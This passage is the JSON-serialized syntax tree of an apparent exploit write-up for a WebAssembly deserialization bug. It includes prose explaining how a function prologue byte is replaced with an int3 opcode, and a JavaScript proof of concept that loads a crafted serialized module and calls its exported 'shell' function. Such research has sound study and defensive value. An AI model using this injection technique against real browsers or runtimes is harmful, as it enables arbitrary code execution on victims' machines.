4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[137594],{"type":22,"tag":30,"props":137595,"children":137596},{"__ignoreMap":7},[137597],{"type":27,"value":137592},{"type":22,"tag":23,"props":137599,"children":137600},{},[137601,137603,137609,137611,137617,137619,137625,137626,137632,137634,137639],{"type":27,"value":137602},"The bytes ",{"type":22,"tag":30,"props":137604,"children":137606},{"className":137605},[],[137607],{"type":27,"value":137608},"85, 72, 137, 229, ...",{"type":27,"value":137610}," correspond to the x86-64 function prologue (",{"type":22,"tag":30,"props":137612,"children":137614},{"className":137613},[],[137615],{"type":27,"value":137616},"push rbp; mov rbp, rsp",{"type":27,"value":137618},"). We replace the first byte with ",{"type":22,"tag":30,"props":137620,"children":137622},{"className":137621},[],[137623],{"type":27,"value":137624},"0xcc",{"type":27,"value":20458},{"type":22,"tag":30,"props":137627,"children":137629},{"className":137628},[],[137630],{"type":27,"value":137631},"int3",{"type":27,"value":137633}," opcode), and use this modified buffer as the serialized input to ",{"type":22,"tag":30,"props":137635,"children":137637},{"className":137636},[],[137638],{"type":27,"value":136437},{"type":27,"value":169},{"type":22,"tag":91,"props":137641,"children":137643},{"code":137642,"language":39612,"meta":7,"className":39610,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[137644],{"type":22,"tag":30,"props":137645,"children":137646},{"__ignoreMap":7},[137647,137670,137697,137917,137984,137992,138019,138233,138485,138736,138962,139206,139426,139433,139482,139527,139571,139610,139622],{"type":22,"tag":101,"props":137648,"children":137649},{"class":103,"line":104},[137650,137654,137658,137662,137666],{"type":22,"tag":101,"props":137651,"children":137652},{"style":120},[137653],{"type":27,"value":980},{"type":22,"tag":101,"props":137655,"children":137656},{"style":108},[137657],{"type":27,"value":40142},{"type":22,"tag":101,"props":137659,"children":137660},{"style":120},[137661],{"type":27,"value":43691},{"type":22,"tag":101,"props":137663,"children":137664},{"style":108},[137665],{"type":27,"value":18823},{"type":22,"tag":101,"props":137667,"children":137668},{"style":120},[137669],{"type":27,"value":154},{"type":22,"tag":101,"props":137671,"children":137672},{"class":103,"line":157},[137673,137677,137681,137685,137689,137693],{"type":22,"tag":101,"props":137674,"children":137675},{"style":108},[137676],{"type":27,"value":40185},{"type":22,"tag":101,"props":137678,"children":137679},{"style":126},[137680],{"type":27,"value":136961},{"type":22,"tag":101,"props":137682,"children":137683},{"style":166},[137684],{"type":27,"value":960},{"type":22,"tag":101,"props":137686,"children":137687},{"style":108},[137688],{"type":27,"value":35929},{"type":22,"tag":101,"props":137690,"children":137691},{"style":926},[137692],{"type":27,"value":136974},{"type":22,"tag":101,"props":137694,"children":137695},{"style":120},[137696],{"type":27,"value":136979},{"type":22,"tag":101,"props":137698,"children":137699},{"class":103,"line":182},[137700,137705,137709,137713,137717,137721,137725,137729,137733,137737,137741,137745,137749,137753,137757,137761,137765,137769,137773,137777,137781,137785,137789,137793,137797,137801,137805,137809,137813,137817,137821,137825,137829,137833,137837,137841,137845,137849,137853,137857,137861,137865,137869,137873,137877,137881,137885,137889,137893,137897,137901,137905,137909,137913],{"type":22,"tag":101,"props":137701,"children":137702},{"style":1544},[137703],{"type":27,"value":137704}," 0",{"type":22,"tag":101,"props":137706,"children":137707},{"style":120},[137708],{"type":27,"value":758},{"type":22,"tag":101,"props":137710,"children":137711},{"style":1544},[137712],{"type":27,"value":136996},{"type":22,"tag":101,"props":137714,"children":137715},{"style":120},[137716],{"type":27,"value":758},{"type":22,"tag":101,"props":137718,"children":137719},{"style":1544},[137720],{"type":27,"value":137005},{"type":22,"tag":101,"props":137722,"children":137723},{"style":120},[137724],{"type":27,"value":758},{"type":22,"tag":101,"props":137726,"children":137727},{"style":1544},[137728],{"type":27,"value":137014},{"type":22,"tag":101,"props":137730,"children":137731},{"style":120},[137732],{"type":27,"value":758},{"type":22,"tag":101,"props":137734,"children":137735},{"style":1544},[137736],{"type":27,"value":6813},{"type":22,"tag":101,"props":137738,"children":137739},{"style":120},[137740],{"type":27,"value":758},{"type":22,"tag":101,"props":137742,"children":137743},{"style":1544},[137744],{"type":27,"value":8065},{"type":22,"tag":101,"props":137746,"children":137747},{"style":120},[137748],{"type":27,"value":758},{"type":22,"tag":101,"props":137750,"children":137751},{"style":1544},[137752],{"type":27,"value":8065},{"type":22,"tag":101,"props":137754,"children":137755},{"style":120},[137756],{"type":27,"value":758},{"type":22,"tag":101,"props":137758,"children":137759},{"style":1544},[137760],{"type":27,"value":8065},{"type":22,"tag":101,"props":137762,"children":137763},{"style":120},[137764],{"type":27,"value":758},{"type":22,"tag":101,"props":137766,"children":137767},{"style":1544},[137768],{"type":27,"value":6813},{"type":22,"tag":101,"props":137770,"children":137771},{"style":120},[137772],{"type":27,"value":758},{"type":22,"tag":101,"props":137774,"children":137775},{"style":1544},[137776],{"type":27,"value":21526},{"type":22,"tag":101,"props":137778,"children":137779},{"style":120},[137780],{"type":27,"value":758},{"type":22,"tag":101,"props":137782,"children":137783},{"style":1544},[137784],{"type":27,"value":6813},{"type":22,"tag":101,"props":137786,"children":137787},{"style":120},[137788],{"type":27,"value":758},{"type":22,"tag":101,"props":137790,"children":137791},{"style":1544},[137792],{"type":27,"value":137079},{"type":22,"tag":101,"props":137794,"children":137795},{"style":120},[137796],{"type":27,"value":758},{"type":22,"tag":101,"props":137798,"children":137799},{"style":1544},[137800],{"type":27,"value":8065},{"type":22,"tag":101,"props":137802,"children":137803},{"style":120},[137804],{"type":27,"value":758},{"type":22,"tag":101,"props":137806,"children":137807},{"style":1544},[137808],{"type":27,"value":8065},{"type":22,"tag":101,"props":137810,"children":137811},{"style":120},[137812],{"type":27,"value":758},{"type":22,"tag":101,"props":137814,"children":137815},{"style":1544},[137816],{"type":27,"value":21293},{"type":22,"tag":101,"props":137818,"children":137819},{"style":120},[137820],{"type":27,"value":758},{"type":22,"tag":101,"props":137822,"children":137823},{"style":1544},[137824],{"type":27,"value":7164},{"type":22,"tag":101,"props":137826,"children":137827},{"style":120},[137828],{"type":27,"value":758},{"type":22,"tag":101,"props":137830,"children":137831},{"style":1544},[137832],{"type":27,"value":6813},{"type":22,"tag":101,"props":137834,"children":137835},{"style":120},[137836],{"type":27,"value":758},{"type":22,"tag":101,"props":137838,"children":137839},{"style":1544},[137840],{"type":27,"value":8065},{"type":22,"tag":101,"props":137842,"children":137843},{"style":120},[137844],{"type":27,"value":758},{"type":22,"tag":101,"props":137846,"children":137847},{"style":1544},[137848],{"type":27,"value":58667},{"type":22,"tag":101,"props":137850,"children":137851},{"style":120},[137852],{"type":27,"value":758},{"type":22,"tag":101,"props":137854,"children":137855},{"style":1544},[137856],{"type":27,"value":59882},{"type":22,"tag":101,"props":137858,"children":137859},{"style":120},[137860],{"type":27,"value":758},{"type":22,"tag":101,"props":137862,"children":137863},{"style":1544},[137864],{"type":27,"value":6813},{"type":22,"tag":101,"props":137866,"children":137867},{"style":120},[137868],{"type":27,"value":758},{"type":22,"tag":101,"props":137870,"children":137871},{"style":1544},[137872],{"type":27,"value":22107},{"type":22,"tag":101,"props":137874,"children":137875},{"style":120},[137876],{"type":27,"value":758},{"type":22,"tag":101,"props":137878,"children":137879},{"style":1544},[137880],{"type":27,"value":137005},{"type":22,"tag":101,"props":137882,"children":137883},{"style":120},[137884],{"type":27,"value":758},{"type":22,"tag":101,"props":137886,"children":137887},{"style":1544},[137888],{"type":27,"value":137176},{"type":22,"tag":101,"props":137890,"children":137891},{"style":120},[137892],{"type":27,"value":758},{"type":22,"tag":101,"props":137894,"children":137895},{"style":1544},[137896],{"type":27,"value":137185},{"type":22,"tag":101,"props":137898,"children":137899},{"style":120},[137900],{"type":27,"value":758},{"type":22,"tag":101,"props":137902,"children":137903},{"style":1544},[137904],{"type":27,"value":137194},{"type":22,"tag":101,"props":137906,"children":137907},{"style":120},[137908],{"type":27,"value":758},{"type":22,"tag":101,"props":137910,"children":137911},{"style":1544},[137912],{"type":27,"value":137194},{"type":22,"tag":101,"props":137914,"children":137915},{"style":120},[137916],{"type":27,"value":179},{"type":22,"tag":101,"props":137918,"children":137919},{"class":103,"line":367},[137920,137924,137928,137932,137936,137940,137944,137948,137952,137956,137960,137964,137968,137972,137976,137980],{"type":22,"tag":101,"props":137921,"children":137922},{"style":1544},[137923],{"type":27,"value":137704},{"type":22,"tag":101,"props":137925,"children":137926},{"style":120},[137927],{"type":27,"value":758},{"type":22,"tag":101,"props":137929,"children":137930},{"style":1544},[137931],{"type":27,"value":8065},{"type":22,"tag":101,"props":137933,"children":137934},{"style":120},[137935],{"type":27,"value":758},{"type":22,"tag":101,"props":137937,"children":137938},{"style":1544},[137939],{"type":27,"value":92760},{"type":22,"tag":101,"props":137941,"children":137942},{"style":120},[137943],{"type":27,"value":758},{"type":22,"tag":101,"props":137945,"children":137946},{"style":1544},[137947],{"type":27,"value":21526},{"type":22,"tag":101,"props":137949,"children":137950},{"style":120},[137951],{"type":27,"value":758},{"type":22,"tag":101,"props":137953,"children":137954},{"style":1544},[137955],{"type":27,"value":6813},{"type":22,"tag":101,"props":137957,"children":137958},{"style":120},[137959],{"type":27,"value":758},{"type":22,"tag":101,"props":137961,"children":137962},{"style":1544},[137963],{"type":27,"value":7164},{"type":22,"tag":101,"props":137965,"children":137966},{"style":120},[137967],{"type":27,"value":758},{"type":22,"tag":101,"props":137969,"children":137970},{"style":1544},[137971],{"type":27,"value":8065},{"type":22,"tag":101,"props":137973,"children":137974},{"style":120},[137975],{"type":27,"value":758},{"type":22,"tag":101,"props":137977,"children":137978},{"style":1544},[137979],{"type":27,"value":137270},{"type":22,"tag":101,"props":137981,"children":137982},{"style":120},[137983],{"type":27,"value":179},{"type":22,"tag":101,"props":137985,"children":137986},{"class":103,"line":398},[137987],{"type":22,"tag":101,"props":137988,"children":137989},{"style":120},[137990],{"type":27,"value":137991}," ]);\n",{"type":22,"tag":101,"props":137993,"children":137994},{"class":103,"line":428},[137995,137999,138003,138007,138011,138015],{"type":22,"tag":101,"props":137996,"children":137997},{"style":108},[137998],{"type":27,"value":40185},{"type":22,"tag":101,"props":138000,"children":138001},{"style":126},[138002],{"type":27,"value":128774},{"type":22,"tag":101,"props":138004,"children":138005},{"style":166},[138006],{"type":27,"value":960},{"type":22,"tag":101,"props":138008,"children":138009},{"style":108},[138010],{"type":27,"value":35929},{"type":22,"tag":101,"props":138012,"children":138013},{"style":926},[138014],{"type":27,"value":136974},{"type":22,"tag":101,"props":138016,"children":138017},{"style":120},[138018],{"type":27,"value":136979},{"type":22,"tag":101,"props":138020,"children":138021},{"class":103,"line":997},[138022,138027,138031,138035,138039,138044,138048,138053,138057,138062,138066,138071,138075,138080,138084,138089,138093,138098,138102,138107,138111,138115,138119,138123,138127,138132,138136,138141,138145,138149,138153,138157,138161,138165,138169,138173,138177,138181,138185,138189,138193,138197,138201,138205,138209,138213,138217,138221,138225,138229],{"type":22,"tag":101,"props":138023,"children":138024},{"style":1544},[138025],{"type":27,"value":138026}," 147",{"type":22,"tag":101,"props":138028,"children":138029},{"style":120},[138030],{"type":27,"value":758},{"type":22,"tag":101,"props":138032,"children":138033},{"style":1544},[138034],{"type":27,"value":22418},{"type":22,"tag":101,"props":138036,"children":138037},{"style":120},[138038],{"type":27,"value":758},{"type":22,"tag":101,"props":138040,"children":138041},{"style":1544},[138042],{"type":27,"value":138043},"222",{"type":22,"tag":101,"props":138045,"children":138046},{"style":120},[138047],{"type":27,"value":758},{"type":22,"tag":101,"props":138049,"children":138050},{"style":1544},[138051],{"type":27,"value":138052},"192",{"type":22,"tag":101,"props":138054,"children":138055},{"style":120},[138056],{"type":27,"value":758},{"type":22,"tag":101,"props":138058,"children":138059},{"style":1544},[138060],{"type":27,"value":138061},"20",{"type":22,"tag":101,"props":138063,"children":138064},{"style":120},[138065],{"type":27,"value":758},{"type":22,"tag":101,"props":138067,"children":138068},{"style":1544},[138069],{"type":27,"value":138070},"119",{"type":22,"tag":101,"props":138072,"children":138073},{"style":120},[138074],{"type":27,"value":758},{"type":22,"tag":101,"props":138076,"children":138077},{"style":1544},[138078],{"type":27,"value":138079},"44",{"type":22,"tag":101,"props":138081,"children":138082},{"style":120},[138083],{"type":27,"value":758},{"type":22,"tag":101,"props":138085,"children":138086},{"style":1544},[138087],{"type":27,"value":138088},"43",{"type":22,"tag":101,"props":138090,"children":138091},{"style":120},[138092],{"type":27,"value":758},{"type":22,"tag":101,"props":138094,"children":138095},{"style":1544},[138096],{"type":27,"value":138097},"127",{"type":22,"tag":101,"props":138099,"children":138100},{"style":120},[138101],{"type":27,"value":758},{"type":22,"tag":101,"props":138103,"children":138104},{"style":1544},[138105],{"type":27,"value":138106},"62",{"type":22,"tag":101,"props":138108,"children":138109},{"style":120},[138110],{"type":27,"value":758},{"type":22,"tag":101,"props":138112,"children":138113},{"style":1544},[138114],{"type":27,"value":21293},{"type":22,"tag":101,"props":138116,"children":138117},{"style":120},[138118],{"type":27,"value":758},{"type":22,"tag":101,"props":138120,"children":138121},{"style":1544},[138122],{"type":27,"value":8065},{"type":22,"tag":101,"props":138124,"children":138125},{"style":120},[138126],{"type":27,"value":758},{"type":22,"tag":101,"props":138128,"children":138129},{"style":1544},[138130],{"type":27,"value":138131},"159",{"type":22,"tag":101,"props":138133,"children":138134},{"style":120},[138135],{"type":27,"value":758},{"type":22,"tag":101,"props":138137,"children":138138},{"style":1544},[138139],{"type":27,"value":138140},"206",{"type":22,"tag":101,"props":138142,"children":138143},{"style":120},[138144],{"type":27,"value":758},{"type":22,"tag":101,"props":138146,"children":138147},{"style":1544},[138148],{"type":27,"value":48146},{"type":22,"tag":101,"props":138150,"children":138151},{"style":120},[138152],{"type":27,"value":758},{"type":22,"tag":101,"props":138154,"children":138155},{"style":1544},[138156],{"type":27,"value":138088},{"type":22,"tag":101,"props":138158,"children":138159},{"style":120},[138160],{"type":27,"value":758},{"type":22,"tag":101,"props":138162,"children":138163},{"style":1544},[138164],{"type":27,"value":8065},{"type":22,"tag":101,"props":138166,"children":138167},{"style":120},[138168],{"type":27,"value":758},{"type":22,"tag":101,"props":138170,"children":138171},{"style":1544},[138172],{"type":27,"value":8065},{"type":22,"tag":101,"props":138174,"children":138175},{"style":120},[138176],{"type":27,"value":758},{"type":22,"tag":101,"props":138178,"children":138179},{"style":1544},[138180],{"type":27,"value":21293},{"type":22,"tag":101,"props":138182,"children":138183},{"style":120},[138184],{"type":27,"value":758},{"type":22,"tag":101,"props":138186,"children":138187},{"style":1544},[138188],{"type":27,"value":8065},{"type":22,"tag":101,"props":138190,"children":138191},{"style":120},[138192],{"type":27,"value":758},{"type":22,"tag":101,"props":138194,"children":138195},{"style":1544},[138196],{"type":27,"value":8065},{"type":22,"tag":101,"props":138198,"children":138199},{"style":120},[138200],{"type":27,"value":758},{"type":22,"tag":101,"props":138202,"children":138203},{"style":1544},[138204],{"type":27,"value":8065},{"type":22,"tag":101,"props":138206,"children":138207},{"style":120},[138208],{"type":27,"value":758},{"type":22,"tag":101,"props":138210,"children":138211},{"style":1544},[138212],{"type":27,"value":8065},{"type":22,"tag":101,"props":138214,"children":138215},{"style":120},[138216],{"type":27,"value":758},{"type":22,"tag":101,"props":138218,"children":138219},{"style":1544},[138220],{"type":27,"value":8065},{"type":22,"tag":101,"props":138222,"children":138223},{"style":120},[138224],{"type":27,"value":758},{"type":22,"tag":101,"props":138226,"children":138227},{"style":1544},[138228],{"type":27,"value":33421},{"type":22,"tag":101,"props":138230,"children":138231},{"style":120},[138232],{"type":27,"value":179},{"type":22,"tag":101,"props":138234,"children":138235},{"class":103,"line":1032},[138236,138240,138244,138248,138252,138256,138260,138264,138268,138272,138276,138280,138284,138288,138292,138296,138300,138304,138308,138312,138316,138320,138324,138328,138332,138336,138340,138344,138348,138352,138356,138360,138364,138368,138372,138377,138381,138385,138389,138393,138397,138401,138405,138409,138413,138417,138421,138425,138429,138433,138437,138441,138445,138449,138453,138457,138461,138465,138469,138473,138477,138481],{"type":22,"tag":101,"props":138237,"children":138238},{"style":1544},[138239],{"type":27,"value":137704},{"type":22,"tag":101,"props":138241,"children":138242},{"style":120},[138243],{"type":27,"value":758},{"type":22,"tag":101,"props":138245,"children":138246},{"style":1544},[138247],{"type":27,"value":8065},{"type":22,"tag":101,"props":138249,"children":138250},{"style":120},[138251],{"type":27,"value":758},{"type":22,"tag":101,"props":138253,"children":138254},{"style":1544},[138255],{"type":27,"value":8065},{"type":22,"tag":101,"props":138257,"children":138258},{"style":120},[138259],{"type":27,"value":758},{"type":22,"tag":101,"props":138261,"children":138262},{"style":1544},[138263],{"type":27,"value":8065},{"type":22,"tag":101,"props":138265,"children":138266},{"style":120},[138267],{"type":27,"value":758},{"type":22,"tag":101,"props":138269,"children":138270},{"style":1544},[138271],{"type":27,"value":8065},{"type":22,"tag":101,"props":138273,"children":138274},{"style":120},[138275],{"type":27,"value":758},{"type":22,"tag":101,"props":138277,"children":138278},{"style":1544},[138279],{"type":27,"value":8065},{"type":22,"tag":101,"props":138281,"children":138282},{"style":120},[138283],{"type":27,"value":758},{"type":22,"tag":101,"props":138285,"children":138286},{"style":1544},[138287],{"type":27,"value":8065},{"type":22,"tag":101,"props":138289,"children":138290},{"style":120},[138291],{"type":27,"value":758},{"type":22,"tag":101,"props":138293,"children":138294},{"style":1544},[138295],{"type":27,"value":6813},{"type":22,"tag":101,"props":138297,"children":138298},{"style":120},[138299],{"type":27,"value":758},{"type":22,"tag":101,"props":138301,"children":138302},{"style":1544},[138303],{"type":27,"value":8065},{"type":22,"tag":101,"props":138305,"children":138306},{"style":120},[138307],{"type":27,"value":758},{"type":22,"tag":101,"props":138309,"children":138310},{"style":1544},[138311],{"type":27,"value":8065},{"type":22,"tag":101,"props":138313,"children":138314},{"style":120},[138315],{"type":27,"value":758},{"type":22,"tag":101,"props":138317,"children":138318},{"style":1544},[138319],{"type":27,"value":8065},{"type":22,"tag":101,"props":138321,"children":138322},{"style":120},[138323],{"type":27,"value":758},{"type":22,"tag":101,"props":138325,"children":138326},{"style":1544},[138327],{"type":27,"value":8065},{"type":22,"tag":101,"props":138329,"children":138330},{"style":120},[138331],{"type":27,"value":758},{"type":22,"tag":101,"props":138333,"children":138334},{"style":1544},[138335],{"type":27,"value":8065},{"type":22,"tag":101,"props":138337,"children":138338},{"style":120},[138339],{"type":27,"value":758},{"type":22,"tag":101,"props":138341,"children":138342},{"style":1544},[138343],{"type":27,"value":8065},{"type":22,"tag":101,"props":138345,"children":138346},{"style":120},[138347],{"type":27,"value":758},{"type":22,"tag":101,"props":138349,"children":138350},{"style":1544},[138351],{"type":27,"value":8065},{"type":22,"tag":101,"props":138353,"children":138354},{"style":120},[138355],{"type":27,"value":758},{"type":22,"tag":101,"props":138357,"children":138358},{"style":1544},[138359],{"type":27,"value":8065},{"type":22,"tag":101,"props":138361,"children":138362},{"style":120},[138363],{"type":27,"value":758},{"type":22,"tag":101,"props":138365,"children":138366},{"style":1544},[138367],{"type":27,"value":21526},{"type":22,"tag":101,"props":138369,"children":138370},{"style":120},[138371],{"type":27,"value":758},{"type":22,"tag":101,"props":138373,"children":138374},{"style":1544},[138375],{"type":27,"value":138376},"28",{"type":22,"tag":101,"props":138378,"children":138379},{"style":120},[138380],{"type":27,"value":758},{"type":22,"tag":101,"props":138382,"children":138383},{"style":1544},[138384],{"type":27,"value":8065},{"type":22,"tag":101,"props":138386,"children":138387},{"style":120},[138388],{"type":27,"value":758},{"type":22,"tag":101,"props":138390,"children":138391},{"style":1544},[138392],{"type":27,"value":8065},{"type":22,"tag":101,"props":138394,"children":138395},{"style":120},[138396],{"type":27,"value":758},{"type":22,"tag":101,"props":138398,"children":138399},{"style":1544},[138400],{"type":27,"value":8065},{"type":22,"tag":101,"props":138402,"children":138403},{"style":120},[138404],{"type":27,"value":758},{"type":22,"tag":101,"props":138406,"children":138407},{"style":1544},[138408],{"type":27,"value":44842},{"type":22,"tag":101,"props":138410,"children":138411},{"style":120},[138412],{"type":27,"value":758},{"type":22,"tag":101,"props":138414,"children":138415},{"style":1544},[138416],{"type":27,"value":8065},{"type":22,"tag":101,"props":138418,"children":138419},{"style":120},[138420],{"type":27,"value":758},{"type":22,"tag":101,"props":138422,"children":138423},{"style":1544},[138424],{"type":27,"value":8065},{"type":22,"tag":101,"props":138426,"children":138427},{"style":120},[138428],{"type":27,"value":758},{"type":22,"tag":101,"props":138430,"children":138431},{"style":1544},[138432],{"type":27,"value":8065},{"type":22,"tag":101,"props":138434,"children":138435},{"style":120},[138436],{"type":27,"value":758},{"type":22,"tag":101,"props":138438,"children":138439},{"style":1544},[138440],{"type":27,"value":138376},{"type":22,"tag":101,"props":138442,"children":138443},{"style":120},[138444],{"type":27,"value":758},{"type":22,"tag":101,"props":138446,"children":138447},{"style":1544},[138448],{"type":27,"value":8065},{"type":22,"tag":101,"props":138450,"children":138451},{"style":120},[138452],{"type":27,"value":758},{"type":22,"tag":101,"props":138454,"children":138455},{"style":1544},[138456],{"type":27,"value":8065},{"type":22,"tag":101,"props":138458,"children":138459},{"style":120},[138460],{"type":27,"value":758},{"type":22,"tag":101,"props":138462,"children":138463},{"style":1544},[138464],{"type":27,"value":8065},{"type":22,"tag":101,"props":138466,"children":138467},{"style":120},[138468],{"type":27,"value":758},{"type":22,"tag":101,"props":138470,"children":138471},{"style":1544},[138472],{"type":27,"value":138376},{"type":22,"tag":101,"props":138474,"children":138475},{"style":120},[138476],{"type":27,"value":758},{"type":22,"tag":101,"props":138478,"children":138479},{"style":1544},[138480],{"type":27,"value":8065},{"type":22,"tag":101,"props":138482,"children":138483},{"style":120},[138484],{"type":27,"value":179},{"type":22,"tag":101,"props":138486,"children":138487},{"class":103,"line":1063},[138488,138492,138496,138500,138504,138508,138512,138516,138520,138524,138528,138532,138536,138540,138544,138548,138552,138556,138560,138564,138568,138572,138576,138580,138584,138588,138592,138596,138600,138604,138608,138612,138616,138620,138624,138628,138632,138636,138640,138644,138648,138652,138656,138660,138664,138668,138672,138676,138680,138684,138688,138692,138696,138700,138704,138708,138712,138716,138720,138724,138728,138732],{"type":22,"tag":101,"props":138489,"children":138490},{"style":1544},[138491],{"type":27,"value":137704},{"type":22,"tag":101,"props":138493,"children":138494},{"style":120},[138495],{"type":27,"value":758},{"type":22,"tag":101,"props":138497,"children":138498},{"style":1544},[138499],{"type":27,"value":8065},{"type":22,"tag":101,"props":138501,"children":138502},{"style":120},[138503],{"type":27,"value":758},{"type":22,"tag":101,"props":138505,"children":138506},{"style":1544},[138507],{"type":27,"value":138376},{"type":22,"tag":101,"props":138509,"children":138510},{"style":120},[138511],{"type":27,"value":758},{"type":22,"tag":101,"props":138513,"children":138514},{"style":1544},[138515],{"type":27,"value":8065},{"type":22,"tag":101,"props":138517,"children":138518},{"style":120},[138519],{"type":27,"value":758},{"type":22,"tag":101,"props":138521,"children":138522},{"style":1544},[138523],{"type":27,"value":8065},{"type":22,"tag":101,"props":138525,"children":138526},{"style":120},[138527],{"type":27,"value":758},{"type":22,"tag":101,"props":138529,"children":138530},{"style":1544},[138531],{"type":27,"value":8065},{"type":22,"tag":101,"props":138533,"children":138534},{"style":120},[138535],{"type":27,"value":758},{"type":22,"tag":101,"props":138537,"children":138538},{"style":1544},[138539],{"type":27,"value":21526},{"type":22,"tag":101,"props":138541,"children":138542},{"style":120},[138543],{"type":27,"value":758},{"type":22,"tag":101,"props":138545,"children":138546},{"style":1544},[138547],{"type":27,"value":8065},{"type":22,"tag":101,"props":138549,"children":138550},{"style":120},[138551],{"type":27,"value":758},{"type":22,"tag":101,"props":138553,"children":138554},{"style":1544},[138555],{"type":27,"value":8065},{"type":22,"tag":101,"props":138557,"children":138558},{"style":120},[138559],{"type":27,"value":758},{"type":22,"tag":101,"props":138561,"children":138562},{"style":1544},[138563],{"type":27,"value":8065},{"type":22,"tag":101,"props":138565,"children":138566},{"style":120},[138567],{"type":27,"value":758},{"type":22,"tag":101,"props":138569,"children":138570},{"style":1544},[138571],{"type":27,"value":8065},{"type":22,"tag":101,"props":138573,"children":138574},{"style":120},[138575],{"type":27,"value":758},{"type":22,"tag":101,"props":138577,"children":138578},{"style":1544},[138579],{"type":27,"value":8065},{"type":22,"tag":101,"props":138581,"children":138582},{"style":120},[138583],{"type":27,"value":758},{"type":22,"tag":101,"props":138585,"children":138586},{"style":1544},[138587],{"type":27,"value":8065},{"type":22,"tag":101,"props":138589,"children":138590},{"style":120},[138591],{"type":27,"value":758},{"type":22,"tag":101,"props":138593,"children":138594},{"style":1544},[138595],{"type":27,"value":8065},{"type":22,"tag":101,"props":138597,"children":138598},{"style":120},[138599],{"type":27,"value":758},{"type":22,"tag":101,"props":138601,"children":138602},{"style":1544},[138603],{"type":27,"value":8065},{"type":22,"tag":101,"props":138605,"children":138606},{"style":120},[138607],{"type":27,"value":758},{"type":22,"tag":101,"props":138609,"children":138610},{"style":1544},[138611],{"type":27,"value":8065},{"type":22,"tag":101,"props":138613,"children":138614},{"style":120},[138615],{"type":27,"value":758},{"type":22,"tag":101,"props":138617,"children":138618},{"style":1544},[138619],{"type":27,"value":8065},{"type":22,"tag":101,"props":138621,"children":138622},{"style":120},[138623],{"type":27,"value":758},{"type":22,"tag":101,"props":138625,"children":138626},{"style":1544},[138627],{"type":27,"value":8065},{"type":22,"tag":101,"props":138629,"children":138630},{"style":120},[138631],{"type":27,"value":758},{"type":22,"tag":101,"props":138633,"children":138634},{"style":1544},[138635],{"type":27,"value":33421},{"type":22,"tag":101,"props":138637,"children":138638},{"style":120},[138639],{"type":27,"value":758},{"type":22,"tag":101,"props":138641,"children":138642},{"style":1544},[138643],{"type":27,"value":8065},{"type":22,"tag":101,"props":138645,"children":138646},{"style":120},[138647],{"type":27,"value":758},{"type":22,"tag":101,"props":138649,"children":138650},{"style":1544},[138651],{"type":27,"value":8065},{"type":22,"tag":101,"props":138653,"children":138654},{"style":120},[138655],{"type":27,"value":758},{"type":22,"tag":101,"props":138657,"children":138658},{"style":1544},[138659],{"type":27,"value":8065},{"type":22,"tag":101,"props":138661,"children":138662},{"style":120},[138663],{"type":27,"value":758},{"type":22,"tag":101,"props":138665,"children":138666},{"style":1544},[138667],{"type":27,"value":8065},{"type":22,"tag":101,"props":138669,"children":138670},{"style":120},[138671],{"type":27,"value":758},{"type":22,"tag":101,"props":138673,"children":138674},{"style":1544},[138675],{"type":27,"value":8065},{"type":22,"tag":101,"props":138677,"children":138678},{"style":120},[138679],{"type":27,"value":758},{"type":22,"tag":101,"props":138681,"children":138682},{"style":1544},[138683],{"type":27,"value":8065},{"type":22,"tag":101,"props":138685,"children":138686},{"style":120},[138687],{"type":27,"value":758},{"type":22,"tag":101,"props":138689,"children":138690},{"style":1544},[138691],{"type":27,"value":8065},{"type":22,"tag":101,"props":138693,"children":138694},{"style":120},[138695],{"type":27,"value":758},{"type":22,"tag":101,"props":138697,"children":138698},{"style":1544},[138699],{"type":27,"value":8065},{"type":22,"tag":101,"props":138701,"children":138702},{"style":120},[138703],{"type":27,"value":758},{"type":22,"tag":101,"props":138705,"children":138706},{"style":1544},[138707],{"type":27,"value":8065},{"type":22,"tag":101,"props":138709,"children":138710},{"style":120},[138711],{"type":27,"value":758},{"type":22,"tag":101,"props":138713,"children":138714},{"style":1544},[138715],{"type":27,"value":8065},{"type":22,"tag":101,"props":138717,"children":138718},{"style":120},[138719],{"type":27,"value":758},{"type":22,"tag":101,"props":138721,"children":138722},{"style":1544},[138723],{"type":27,"value":8065},{"type":22,"tag":101,"props":138725,"children":138726},{"style":120},[138727],{"type":27,"value":758},{"type":22,"tag":101,"props":138729,"children":138730},{"style":1544},[138731],{"type":27,"value":8065},{"type":22,"tag":101,"props":138733,"children":138734},{"style":120},[138735],{"type":27,"value":179},{"type":22,"tag"